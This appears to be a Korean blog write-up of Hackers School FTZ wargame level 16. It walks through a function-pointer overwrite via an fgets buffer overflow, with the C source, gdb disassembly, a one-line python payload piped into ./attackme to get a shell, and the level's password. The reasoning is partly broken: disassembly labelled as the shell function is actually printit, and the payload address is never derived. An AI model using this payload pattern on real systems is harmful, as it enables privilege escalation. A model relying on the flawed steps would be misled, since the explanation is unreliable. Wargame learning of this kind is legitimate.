thumbnail
cd ..
root@blog:~/posts/ 202210

해커스쿨 FTZ 레벨 16

#KOR#pwn
2022.10.06.

0. 들어가기 전에.

여기까지 오니 슬슬 disas해서 스택을 살펴보는 과정은 (적어도 간단한 프로그램에선) 익숙해지는 것 같다!

1. Level 16

오늘은 함수 포인터에 관한 문제다. 소스코드를 확인해보자!

#include <stdio.h>

void shell() {

  setreuid(3097,3097);

  system("/bin/sh");

}

void printit() {

  printf("Hello there!\n");

}

main()

{ int crap;

  void (*call)()=printit;

  char buf[20];

  fgets(buf,48,stdin);

  call();

}

void(*call)()=printit 부분에서 printit의 포인터를 가져와 call()로 실행시켜준다. 즉, 그냥 printit을 실행하는 함수이다. fgets에서 48바이트 입력받으니 오버플로우는 충분히 가능하다. 그럼 우리가 해야 할 일은?

*shell 함수의 메모리 주소를 찾아내 call에 덮어씌우면 된다!

gdb에서 disas shell을 해보니 :

0x08048500 <printit+0>: push   ebp
0x08048501 <printit+1>: mov    ebp,esp
0x08048503 <printit+3>: sub    esp,0x8
0x08048506 <printit+6>: sub    esp,0xc
0x08048509 <printit+9>: push   0x80485c0
0x0804850e <printit+14>:        call   0x80483a4 <printf>
0x08048513 <printit+19>:        add    esp,0x10
0x08048516 <printit+22>:        leave
0x08048517 <printit+23>:        ret

ebp가 08048500을 가리키는 것을 볼 수 있다. 따라서 그냥 저 주소를 BOF공격으로 넣어주면 된다. 우리 배열부터 call 포인터까지의 거리는 main을 disas해보면 알 수 있을것이다 :

0x08048518 <main+0>:    push   ebp
0x08048519 <main+1>:    mov    ebp,esp
0x0804851b <main+3>:    sub    esp,0x38
0x0804851e <main+6>:    mov    DWORD PTR [ebp-16],0x8048500
0x08048525 <main+13>:   sub    esp,0x4
0x08048528 <main+16>:   push   ds:0x80496e8
0x0804852e <main+22>:   push   0x30
0x08048530 <main+24>:   lea    eax,[ebp-56]
0x08048533 <main+27>:   push   eax
0x08048534 <main+28>:   call   0x8048384 <fgets>
0x08048539 <main+33>:   add    esp,0x10
0x0804853c <main+36>:   mov    eax,DWORD PTR [ebp-16]
0x0804853f <main+39>:   call   eax
0x08048541 <main+41>:   leave
0x08048542 <main+42>:   ret
0x08048543 <main+43>:   nop
0x08048544 <main+44>:   nop
0x08048545 <main+45>:   nop
0x08048546 <main+46>:   nop
0x08048547 <main+47>:   nop
0x08048548 <main+48>:   nop
0x08048549 <main+49>:   nop

저번 문제와 똑같이 거리는 40이다. 그럼 공격 코드도 다음과 같을 것이다 :

(python -c 'print "A"*40+"\xd0\x84\x04\x08"'; cat) | ./attackme

실행하면 Shell을 얻을 수 있다! 이 문제 또한 간단한 것 같다.

비밀번호 : king poetic

Source

[ comments ]